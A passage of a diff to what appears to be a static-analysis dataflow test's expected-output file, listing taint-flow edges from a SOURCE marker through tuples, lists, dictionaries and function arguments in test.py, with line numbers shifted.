[List element] | test.py:562:10:562:61 | ControlFlowNode for List [List element, List element] | -| test.py:562:12:562:17 | ControlFlowNode for SOURCE | test.py:562:11:562:37 | ControlFlowNode for List [List element] | -| test.py:562:12:562:17 | ControlFlowNode for SOURCE | test.py:562:31:562:36 | ControlFlowNode for SOURCE | -| test.py:562:12:562:17 | ControlFlowNode for SOURCE | test.py:562:41:562:46 | ControlFlowNode for SOURCE | -| test.py:562:31:562:36 | ControlFlowNode for SOURCE | test.py:562:11:562:37 | ControlFlowNode for List [List element] | -| test.py:562:31:562:36 | ControlFlowNode for SOURCE | test.py:562:41:562:46 | ControlFlowNode for SOURCE | -| test.py:562:40:562:47 | ControlFlowNode for List [List element] | test.py:562:10:562:61 | ControlFlowNode for List [List element, List element] | -| test.py:562:41:562:46 | ControlFlowNode for SOURCE | test.py:562:40:562:47 | ControlFlowNode for List [List element] | -| test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:565:7:565:16 | IterableSequence [List element] | -| test.py:565:6:565:23 | IterableElement [List element] | test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:565:6:565:23 | IterableSequence [List element, List element] | test.py:565:6:565:23 | IterableElement [List element] | -| test.py:565:7:565:8 | SSA variable a1 | test.py:566:10:566:11 | ControlFlowNode for a1 | -| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:565:7:565:8 | SSA variable a1 | -| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:565:11:565:12 | SSA variable a2 | -| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:565:15:565:16 | SSA variable a3 | -| test.py:565:7:565:16 | IterableElement | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:565:7:565:16 | IterableElement | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:565:7:565:16 | IterableElement | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:565:7:565:16 | IterableSequence [List element] | test.py:565:7:565:16 | IterableElement | -| test.py:565:11:565:12 | SSA variable a2 | test.py:567:12:567:13 | ControlFlowNode for a2 | -| test.py:565:15:565:16 | SSA variable a3 | test.py:568:10:568:11 | ControlFlowNode for a3 | -| test.py:573:5:573:24 | ControlFlowNode for List [List element, List element] | test.py:573:7:573:16 | IterableSequence [List element] | -| test.py:573:5:573:24 | IterableElement [List element] | test.py:573:5:573:24 | ControlFlowNode for List [List element, List element] | -| test.py:573:5:573:24 | IterableSequence [List element, List element] | test.py:573:5:573:24 | IterableElement [List element] | -| test.py:573:7:573:8 | SSA variable a1 | test.py:574:10:574:11 | ControlFlowNode for a1 | -| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:573:7:573:8 | SSA variable a1 | -| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:573:11:573:12 | SSA variable a2 | -| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:573:15:573:16 | SSA variable a3 | -| test.py:573:7:573:16 | IterableElement | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:573:7:573:16 | IterableElement | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:573:7:573:16 | IterableElement | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:573:7:573:16 | IterableSequence [List element] | test.py:573:7:573:16 | IterableElement | -| test.py:573:11:573:12 | SSA variable a2 | test.py:575:12:575:13 | ControlFlowNode for a2 | -| test.py:573:15:573:16 | SSA variable a3 | test.py:576:10:576:11 | ControlFlowNode for a3 | -| test.py:581:6:581:17 | ControlFlowNode for List [List element] | test.py:581:7:581:8 | SSA variable a1 | -| test.py:581:6:581:17 | ControlFlowNode for List [List element] | test.py:581:11:581:12 | SSA variable a2 | -| test.py:581:6:581:17 | ControlFlowNode for List [List element] | test.py:581:15:581:16 | SSA variable a3 | -| test.py:581:6:581:17 | IterableElement | test.py:581:6:581:17 | ControlFlowNode for List [List element] | -| test.py:581:6:581:17 | IterableSequence [List element] | test.py:581:6:581:17 | ControlFlowNode for List [List element] | -| test.py:581:6:581:17 | IterableSequence [List element] | test.py:581:6:581:17 | IterableElement | -| test.py:581:6:581:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:581:6:581:17 | IterableSequence [List element] | -| test.py:581:6:581:23 | IterableElement [List element] | test.py:581:6:581:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:581:6:581:23 | IterableSequence [List element, List element] | test.py:581:6:581:23 | IterableElement [List element] | -| test.py:581:7:581:8 | SSA variable a1 | test.py:582:10:582:11 | ControlFlowNode for a1 | -| test.py:581:11:581:12 | SSA variable a2 | test.py:583:12:583:13 | ControlFlowNode for a2 | -| test.py:581:15:581:16 | SSA variable a3 | test.py:584:10:584:11 | ControlFlowNode for a3 | -| test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:593:5:593:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | -| test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:611:5:611:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | -| test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:620:6:620:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | -| test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:611:5:611:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | -| test.py:590:12:590:17 | ControlFlowNode for SOURCE | test.py:590:12:590:36 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:590:12:590:17 | ControlFlowNode for SOURCE | test.py:590:31:590:36 | ControlFlowNode for SOURCE | -| test.py:590:12:590:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:590:12:590:36 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | -| test.py:590:31:590:36 | ControlFlowNode for SOURCE | test.py:590:12:590:36 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:593:5:593:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:593:6:593:14 | IterableSequence [Tuple element at index 0] | -| test.py:593:5:593:19 | IterableElement [Tuple element at index 0] | test.py:593:5:593:19 | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:593:5:593:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | test.py:593:5:593:19 | IterableElement [Tuple element at index 0] | -| test.py:593:6:593:14 | ControlFlowNode for List [List element] | test.py:593:7:593:8 | SSA variable a1 | -| test.py:593:6:593:14 | ControlFlowNode for List [List element] | test.py:593:11:593:13 | IterableElement | -| test.py:593:6:593:14 | IterableElement | test.py:593:6:593:14 | ControlFlowNode for List [List element] | -| test.py:593:6:593:14 | IterableSequence [Tuple element at index 0] | test.py:593:6:593:14 | IterableElement | -| test.py:593:7:593:8 | SSA variable a1 | test.py:594:10:594:11 | ControlFlowNode for a1 | -| test.py:593:11:593:13 | IterableElement | test.py:593:11:593:13 | SSA variable a2 [List element] | -| test.py:593:11:593:13 | SSA variable a2 [List element] | test.py:596:12:596:13 | ControlFlowNode for a2 [List element] | -| test.py:593:11:593:13 | SSA variable a2 [List element] | test.py:597:10:597:11 | ControlFlowNode for a2 [List element] | -| test.py:596:12:596:13 | ControlFlowNode for a2 [List element] | test.py:596:12:596:16 | ControlFlowNode for Subscript | -| test.py:597:10:597:11 | ControlFlowNode for a2 [List element] | test.py:597:10:597:14 | ControlFlowNode for Subscript | -| test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:602:7:602:13 | IterableSequence [Tuple element at index 0] | -| test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:602:7:602:13 | IterableSequence [Tuple element at index 2] | -| test.py:602:7:602:8 | SSA variable a1 | test.py:603:10:603:11 | ControlFlowNode for a1 | -| test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:602:7:602:8 | SSA variable a1 | -| test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:602:11:602:13 | IterableElement | -| test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:602:11:602:13 | IterableElement | -| test.py:602:7:602:13 | IterableSequence [Tuple element at index 0] | test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:602:7:602:13 | IterableSequence [Tuple element at index 2] | test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:602:11:602:13 | IterableElement | test.py:602:11:602:13 | SSA variable a2 [List element] | -| test.py:602:11:602:13 | SSA variable a2 [List element] | test.py:605:12:605:13 | ControlFlowNode for a2 [List element] | -| test.py:602:11:602:13 | SSA variable a2 [List element] | test.py:606:10:606:11 | ControlFlowNode for a2 [List element] | -| test.py:605:12:605:13 | ControlFlowNode for a2 [List element] | test.py:605:12:605:16 | ControlFlowNode for Subscript | -| test.py:606:10:606:11 | ControlFlowNode for a2 [List element] | test.py:606:10:606:14 | ControlFlowNode for Subscript | -| test.py:611:5:611:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:611:7:611:13 | IterableSequence [Tuple element at index 0] | -| test.py:611:5:611:19 | ControlFlowNode for List [List element, Tuple element at index 2] | test.py:611:7:611:13 | IterableSequence [Tuple element at index 2] | -| test.py:611:5:611:19 | IterableElement [Tuple element at index 0] | test.py:611:5:611:19 | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:611:5:611:19 | IterableElement [Tuple element at index 2] | test.py:611:5:611:19 | ControlFlowNode for List [List element, Tuple element at index 2] | -| test.py:611:5:611:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | test.py:611:5:611:19 | IterableElement [Tuple element at index 0] | -| test.py:611:5:611:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | test.py:611:5:611:19 | IterableElement [Tuple element at index 2] | -| test.py:611:7:611:8 | SSA variable a1 | test.py:612:10:612:11 | ControlFlowNode for a1 | -| test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:611:7:611:8 | SSA variable a1 | -| test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:611:11:611:13 | IterableElement | -| test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:611:11:611:13 | IterableElement | -| test.py:611:7:611:13 | IterableSequence [Tuple element at index 0] | test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:611:7:611:13 | IterableSequence [Tuple element at index 2] | test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:611:11:611:13 | IterableElement | test.py:611:11:611:13 | SSA variable a2 [List element] | -| test.py:611:11:611:13 | SSA variable a2 [List element] | test.py:614:12:614:13 | ControlFlowNode for a2 [List element] | -| test.py:611:11:611:13 | SSA variable a2 [List element] | test.py:615:10:615:11 | ControlFlowNode for a2 [List element] | -| test.py:614:12:614:13 | ControlFlowNode for a2 [List element] | test.py:614:12:614:16 | ControlFlowNode for Subscript | -| test.py:615:10:615:11 | ControlFlowNode for a2 [List element] | test.py:615:10:615:14 | ControlFlowNode for Subscript | -| test.py:620:6:620:14 | ControlFlowNode for List [List element] | test.py:620:7:620:8 | SSA variable a1 | -| test.py:620:6:620:14 | ControlFlowNode for List [List element] | test.py:620:11:620:13 | IterableElement | -| test.py:620:6:620:14 | IterableElement | test.py:620:6:620:14 | ControlFlowNode for List [List element] | -| test.py:620:6:620:14 | IterableSequence [Tuple element at index 0] | test.py:620:6:620:14 | IterableElement | -| test.py:620:6:620:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:620:6:620:14 | IterableSequence [Tuple element at index 0] | -| test.py:620:7:620:8 | SSA variable a1 | test.py:621:10:621:11 | ControlFlowNode for a1 | -| test.py:620:11:620:13 | IterableElement | test.py:620:11:620:13 | SSA variable a2 [List element] | -| test.py:620:11:620:13 | SSA variable a2 [List element] | test.py:623:12:623:13 | ControlFlowNode for a2 [List element] | -| test.py:620:11:620:13 | SSA variable a2 [List element] | test.py:624:10:624:11 | ControlFlowNode for a2 [List element] | -| test.py:623:12:623:13 | ControlFlowNode for a2 [List element] | test.py:623:12:623:16 | ControlFlowNode for Subscript | -| test.py:624:10:624:11 | ControlFlowNode for a2 [List element] | test.py:624:10:624:14 | ControlFlowNode for Subscript | -| test.py:715:16:715:21 | ControlFlowNode for SOURCE | test.py:718:10:718:36 | ControlFlowNode for return_from_inner_scope() | +| test.py:347:11:347:16 | ControlFlowNode for SOURCE | test.py:347:11:347:17 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:347:11:347:17 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:347:10:347:21 | ControlFlowNode for Subscript | +| test.py:351:10:351:17 | ControlFlowNode for List [List element] | test.py:351:10:351:20 | ControlFlowNode for Subscript | +| test.py:351:11:351:16 | ControlFlowNode for SOURCE | test.py:351:10:351:17 | ControlFlowNode for List [List element] | +| test.py:355:10:355:22 | ControlFlowNode for Dict [Dictionary element at key s] | test.py:355:10:355:27 | ControlFlowNode for Subscript | +| test.py:355:16:355:21 | ControlFlowNode for SOURCE | test.py:355:10:355:22 | ControlFlowNode for Dict [Dictionary element at key s] | +| test.py:378:28:378:33 | ControlFlowNode for SOURCE | test.py:378:10:378:34 | ControlFlowNode for second() | +| test.py:386:30:386:35 | ControlFlowNode for SOURCE | test.py:386:10:386:36 | ControlFlowNode for second() | +| test.py:394:10:394:43 | KwUnpacked b | test.py:394:10:394:43 | ControlFlowNode for second() | +| test.py:394:30:394:42 | ControlFlowNode for Dict [Dictionary element at key b] | test.py:394:10:394:43 | KwUnpacked b | +| test.py:394:36:394:41 | ControlFlowNode for SOURCE | test.py:394:30:394:42 | ControlFlowNode for Dict [Dictionary element at key b] | +| test.py:402:10:402:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | test.py:402:10:402:39 | ControlFlowNode for f_extra_pos() | +| test.py:402:33:402:38 | ControlFlowNode for SOURCE | test.py:402:10:402:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | +| test.py:410:10:410:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | test.py:410:10:410:45 | ControlFlowNode for f_extra_keyword() | +| test.py:410:39:410:44 | ControlFlowNode for SOURCE | test.py:410:10:410:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | +| test.py:431:10:431:15 | ControlFlowNode for SOURCE | test.py:431:10:431:38 | ControlFlowNode for IfExp | +| test.py:439:34:439:39 | ControlFlowNode for SOURCE | test.py:439:10:439:39 | ControlFlowNode for IfExp | +| test.py:463:12:463:17 | ControlFlowNode for SOURCE | test.py:463:10:463:18 | ControlFlowNode for f() | +| test.py:470:28:470:33 | ControlFlowNode for SOURCE | test.py:470:10:470:34 | ControlFlowNode for second() | +| test.py:484:30:484:35 | ControlFlowNode for SOURCE | test.py:484:10:484:36 | ControlFlowNode for second() | +| test.py:498:10:498:43 | KwUnpacked b | test.py:498:10:498:43 | ControlFlowNode for second() | +| test.py:498:30:498:42 | ControlFlowNode for Dict [Dictionary element at key b] | test.py:498:10:498:43 | KwUnpacked b | +| test.py:498:36:498:41 | ControlFlowNode for SOURCE | test.py:498:30:498:42 | ControlFlowNode for Dict [Dictionary element at key b] | +| test.py:503:10:503:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | test.py:503:10:503:39 | ControlFlowNode for f_extra_pos() | +| test.py:503:33:503:38 | ControlFlowNode for SOURCE | test.py:503:10:503:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | +| test.py:508:10:508:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | test.py:508:10:508:45 | ControlFlowNode for f_extra_keyword() | +| test.py:508:39:508:44 | ControlFlowNode for SOURCE | test.py:508:10:508:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | +| test.py:520:9:520:14 | ControlFlowNode for SOURCE | test.py:522:10:522:10 | ControlFlowNode for a | +| test.py:520:9:520:14 | ControlFlowNode for SOURCE | test.py:527:10:527:10 | ControlFlowNode for b | +| test.py:532:10:532:15 | ControlFlowNode for SOURCE | test.py:532:10:532:26 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:532:10:532:26 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:533:5:533:8 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:533:5:533:5 | SSA variable a | test.py:534:10:534:10 | ControlFlowNode for a | +| test.py:533:5:533:8 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:533:5:533:5 | SSA variable a | +| test.py:540:10:540:15 | ControlFlowNode for SOURCE | test.py:540:10:540:36 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:540:10:540:15 | ControlFlowNode for SOURCE | test.py:540:30:540:35 | ControlFlowNode for SOURCE | +| test.py:540:10:540:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:541:5:541:13 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:540:10:540:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | test.py:541:5:541:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | +| test.py:540:19:540:35 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:540:10:540:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | +| test.py:540:30:540:35 | ControlFlowNode for SOURCE | test.py:540:19:540:35 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:541:5:541:5 | SSA variable a | test.py:542:10:542:10 | ControlFlowNode for a | +| test.py:541:5:541:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:541:5:541:5 | SSA variable a | +| test.py:541:5:541:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | test.py:541:9:541:12 | IterableSequence [Tuple element at index 1] | +| test.py:541:9:541:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:541:12:541:12 | SSA variable c | +| test.py:541:9:541:12 | IterableSequence [Tuple element at index 1] | test.py:541:9:541:12 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:541:12:541:12 | SSA variable c | test.py:544:10:544:10 | ControlFlowNode for c | +| test.py:549:9:549:33 | ControlFlowNode for List [List element, List element, List element, List element] | test.py:550:5:550:14 | IterableSequence [List element, List element, List element, List element] | +| test.py:549:10:549:21 | ControlFlowNode for List [List element, List element, List element] | test.py:549:9:549:33 | ControlFlowNode for List [List element, List element, List element, List element] | +| test.py:549:11:549:20 | ControlFlowNode for List [List element, List element] | test.py:549:10:549:21 | ControlFlowNode for List [List element, List element, List element] | +| test.py:549:12:549:19 | ControlFlowNode for List [List element] | test.py:549:11:549:20 | ControlFlowNode for List [List element, List element] | +| test.py:549:13:549:18 | ControlFlowNode for SOURCE | test.py:549:12:549:19 | ControlFlowNode for List [List element] | +| test.py:550:5:550:11 | ControlFlowNode for List [List element, List element, List element] | test.py:550:6:550:10 | IterableSequence [List element, List element] | +| test.py:550:5:550:11 | IterableElement [List element, List element] | test.py:550:5:550:11 | ControlFlowNode for List [List element, List element, List element] | +| test.py:550:5:550:11 | IterableSequence [List element, List element, List element] | test.py:550:5:550:11 | ControlFlowNode for List [List element, List element, List element] | +| test.py:550:5:550:11 | IterableSequence [List element, List element, List element] | test.py:550:5:550:11 | IterableElement [List element, List element] | +| test.py:550:5:550:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | test.py:550:5:550:11 | IterableSequence [List element, List element, List element] | +| test.py:550:5:550:14 | IterableElement [List element, List element, List element] | test.py:550:5:550:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | +| test.py:550:5:550:14 | IterableSequence [List element, List element, List element, List element] | test.py:550:5:550:14 | IterableElement [List element, List element, List element] | +| test.py:550:6:550:10 | ControlFlowNode for List [List element, List element] | test.py:550:7:550:9 | IterableSequence [List element] | +| test.py:550:6:550:10 | IterableElement [List element] | test.py:550:6:550:10 | ControlFlowNode for List [List element, List element] | +| test.py:550:6:550:10 | IterableSequence [List element, List element] | test.py:550:6:550:10 | ControlFlowNode for List [List element, List element] | +| test.py:550:6:550:10 | IterableSequence [List element, List element] | test.py:550:6:550:10 | IterableElement [List element] | +| test.py:550:7:550:9 | ControlFlowNode for List [List element] | test.py:550:8:550:8 | SSA variable a | +| test.py:550:7:550:9 | IterableElement | test.py:550:7:550:9 | ControlFlowNode for List [List element] | +| test.py:550:7:550:9 | IterableSequence [List element] | test.py:550:7:550:9 | ControlFlowNode for List [List element] | +| test.py:550:7:550:9 | IterableSequence [List element] | test.py:550:7:550:9 | IterableElement | +| test.py:550:8:550:8 | SSA variable a | test.py:551:10:551:10 | ControlFlowNode for a | +| test.py:557:10:557:15 | ControlFlowNode for SOURCE | test.py:557:10:557:34 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:557:10:557:15 | ControlFlowNode for SOURCE | test.py:557:18:557:23 | ControlFlowNode for SOURCE | +| test.py:557:10:557:34 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:558:5:558:12 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:557:10:557:34 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:558:5:558:12 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:557:18:557:23 | ControlFlowNode for SOURCE | test.py:557:10:557:34 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:558:5:558:5 | SSA variable a | test.py:559:10:559:10 | ControlFlowNode for a | +| test.py:558:5:558:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:558:5:558:5 | SSA variable a | +| test.py:558:5:558:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:558:8:558:9 | IterableElement | +| test.py:558:5:558:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:558:8:558:9 | IterableElement | +| test.py:558:8:558:9 | IterableElement | test.py:558:8:558:9 | SSA variable b [List element] | +| test.py:558:8:558:9 | SSA variable b [List element] | test.py:561:10:561:10 | ControlFlowNode for b [List element] | +| test.py:561:10:561:10 | ControlFlowNode for b [List element] | test.py:561:10:561:13 | ControlFlowNode for Subscript | +| test.py:567:10:567:61 | ControlFlowNode for List [List element, List element] | test.py:570:6:570:23 | IterableSequence [List element, List element] | +| test.py:567:10:567:61 | ControlFlowNode for List [List element, List element] | test.py:578:5:578:24 | ControlFlowNode for List [List element, List element] | +| test.py:567:10:567:61 | ControlFlowNode for List [List element, List element] | test.py:578:5:578:24 | IterableSequence [List element, List element] | +| test.py:567:10:567:61 | ControlFlowNode for List [List element, List element] | test.py:586:6:586:23 | IterableSequence [List element, List element] | +| test.py:567:11:567:37 | ControlFlowNode for List [List element] | test.py:567:10:567:61 | ControlFlowNode for List [List element, List element] | +| test.py:567:12:567:17 | ControlFlowNode for SOURCE | test.py:567:11:567:37 | ControlFlowNode for List [List element] | +| test.py:567:12:567:17 | ControlFlowNode for SOURCE | test.py:567:31:567:36 | ControlFlowNode for SOURCE | +| test.py:567:12:567:17 | ControlFlowNode for SOURCE | test.py:567:41:567:46 | ControlFlowNode for SOURCE | +| test.py:567:31:567:36 | ControlFlowNode for SOURCE | test.py:567:11:567:37 | ControlFlowNode for List [List element] | +| test.py:567:31:567:36 | ControlFlowNode for SOURCE | test.py:567:41:567:46 | ControlFlowNode for SOURCE | +| test.py:567:40:567:47 | ControlFlowNode for List [List element] | test.py:567:10:567:61 | ControlFlowNode for List [List element, List element] | +| test.py:567:41:567:46 | ControlFlowNode for SOURCE | test.py:567:40:567:47 | ControlFlowNode for List [List element] | +| test.py:570:6:570:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:570:7:570:16 | IterableSequence [List element] | +| test.py:570:6:570:23 | IterableElement [List element] | test.py:570:6:570:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:570:6:570:23 | IterableSequence [List element, List element] | test.py:570:6:570:23 | IterableElement [List element] | +| test.py:570:7:570:8 | SSA variable a1 | test.py:571:10:571:11 | ControlFlowNode for a1 | +| test.py:570:7:570:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:570:7:570:8 | SSA variable a1 | +| test.py:570:7:570:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:570:11:570:12 | SSA variable a2 | +| test.py:570:7:570:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:570:15:570:16 | SSA variable a3 | +| test.py:570:7:570:16 | IterableElement | test.py:570:7:570:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:570:7:570:16 | IterableElement | test.py:570:7:570:16 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:570:7:570:16 | IterableElement | test.py:570:7:570:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:570:7:570:16 | IterableSequence [List element] | test.py:570:7:570:16 | IterableElement | +| test.py:570:11:570:12 | SSA variable a2 | test.py:572:12:572:13 | ControlFlowNode for a2 | +| test.py:570:15:570:16 | SSA variable a3 | test.py:573:10:573:11 | ControlFlowNode for a3 | +| test.py:578:5:578:24 | ControlFlowNode for List [List element, List element] | test.py:578:7:578:16 | IterableSequence [List element] | +| test.py:578:5:578:24 | IterableElement [List element] | test.py:578:5:578:24 | ControlFlowNode for List [List element, List element] | +| test.py:578:5:578:24 | IterableSequence [List element, List element] | test.py:578:5:578:24 | IterableElement [List element] | +| test.py:578:7:578:8 | SSA variable a1 | test.py:579:10:579:11 | ControlFlowNode for a1 | +| test.py:578:7:578:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:578:7:578:8 | SSA variable a1 | +| test.py:578:7:578:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:578:11:578:12 | SSA variable a2 | +| test.py:578:7:578:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:578:15:578:16 | SSA variable a3 | +| test.py:578:7:578:16 | IterableElement | test.py:578:7:578:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:578:7:578:16 | IterableElement | test.py:578:7:578:16 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:578:7:578:16 | IterableElement | test.py:578:7:578:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:578:7:578:16 | IterableSequence [List element] | test.py:578:7:578:16 | IterableElement | +| test.py:578:11:578:12 | SSA variable a2 | test.py:580:12:580:13 | ControlFlowNode for a2 | +| test.py:578:15:578:16 | SSA variable a3 | test.py:581:10:581:11 | ControlFlowNode for a3 | +| test.py:586:6:586:17 | ControlFlowNode for List [List element] | test.py:586:7:586:8 | SSA variable a1 | +| test.py:586:6:586:17 | ControlFlowNode for List [List element] | test.py:586:11:586:12 | SSA variable a2 | +| test.py:586:6:586:17 | ControlFlowNode for List [List element] | test.py:586:15:586:16 | SSA variable a3 | +| test.py:586:6:586:17 | IterableElement | test.py:586:6:586:17 | ControlFlowNode for List [List element] | +| test.py:586:6:586:17 | IterableSequence [List element] | test.py:586:6:586:17 | ControlFlowNode for List [List element] | +| test.py:586:6:586:17 | IterableSequence [List element] | test.py:586:6:586:17 | IterableElement | +| test.py:586:6:586:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:586:6:586:17 | IterableSequence [List element] | +| test.py:586:6:586:23 | IterableElement [List element] | test.py:586:6:586:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:586:6:586:23 | IterableSequence [List element, List element] | test.py:586:6:586:23 | IterableElement [List element] | +| test.py:586:7:586:8 | SSA variable a1 | test.py:587:10:587:11 | ControlFlowNode for a1 | +| test.py:586:11:586:12 | SSA variable a2 | test.py:588:12:588:13 | ControlFlowNode for a2 | +| test.py:586:15:586:16 | SSA variable a3 | test.py:589:10:589:11 | ControlFlowNode for a3 | +| test.py:595:11:595:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:598:5:598:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | +| test.py:595:11:595:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:607:6:607:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:595:11:595:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:616:5:616:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | +| test.py:595:11:595:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:625:6:625:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:595:11:595:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:607:6:607:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at 